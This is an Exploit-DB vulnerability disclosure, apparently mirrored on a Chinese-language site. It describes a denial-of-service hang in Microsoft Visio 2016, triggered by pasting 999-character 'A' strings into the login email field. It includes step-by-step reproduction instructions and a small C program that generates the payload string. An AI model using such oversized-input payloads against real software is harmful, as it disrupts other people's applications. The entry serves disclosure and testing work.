Microsoft Visio 2016 16.0.4738.1000 – ‘Log in accounts’ Denial of Service

• Exploit Database
• 15 阅读

• 作者： César Adrián Coronado Llanos
  日期： 2019-03-28
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46621/

• # -⋆- coding: utf-8 -⋆-
  Created on Thu Feb 21 01:32:50 2019
  
  @author: César
  """
  
  #Exploit Title: Microsoft Visio 2016 (16.0.4738.1000) "Log in accounts" allows go on whit email formed by one thousand A in every of its parts AAA---A@AAA--A.AAA---A 
  #Descovered by: César Adrián Coronado Llanos
  #Descovered Date; Sun Feb 17 20:34:23 2019
  #Vendor Homepage: https://www.microsoft.com
  #Tested Version: 16.0.4738.1000 x64
  #Tested on OS: Microsoft Windows 10 Home Single Language x64
  #Versión 		10.0.10240 compilación 10240
  
  #Steps to produce the crash
  #1.- Run c code: generator.c
  #2.- Open the file created "letters.txt" and copy the text content to clipboard
  #3.- Open Visio 2016
  #4.- Click in change account or Login
  #5.- In the Login paste the clipboard, typewrite @ paste again the clipboard, typewrite . and paste for last time the clipboard, clik in next
  #6.- Click in professional account
  #7.- Visio 2016 don't respond, however it stays in a white window and don't send us any message
  
  Note: For do this you need internet conection.
  
  #include<stdio.h>
  int main(){
  	int i;
  	FILE *letters;
  	if((letters = fopen("letters.txt","w+")) != NULL){
  		for(i=0;i<999;i++){
  			fprintf(letters,"A");
  		}
  	}
  	fclose(letters);
  	printf("\tThe file was created successfully!!\n");
  }
  
  Note: This code was compiled in dev C++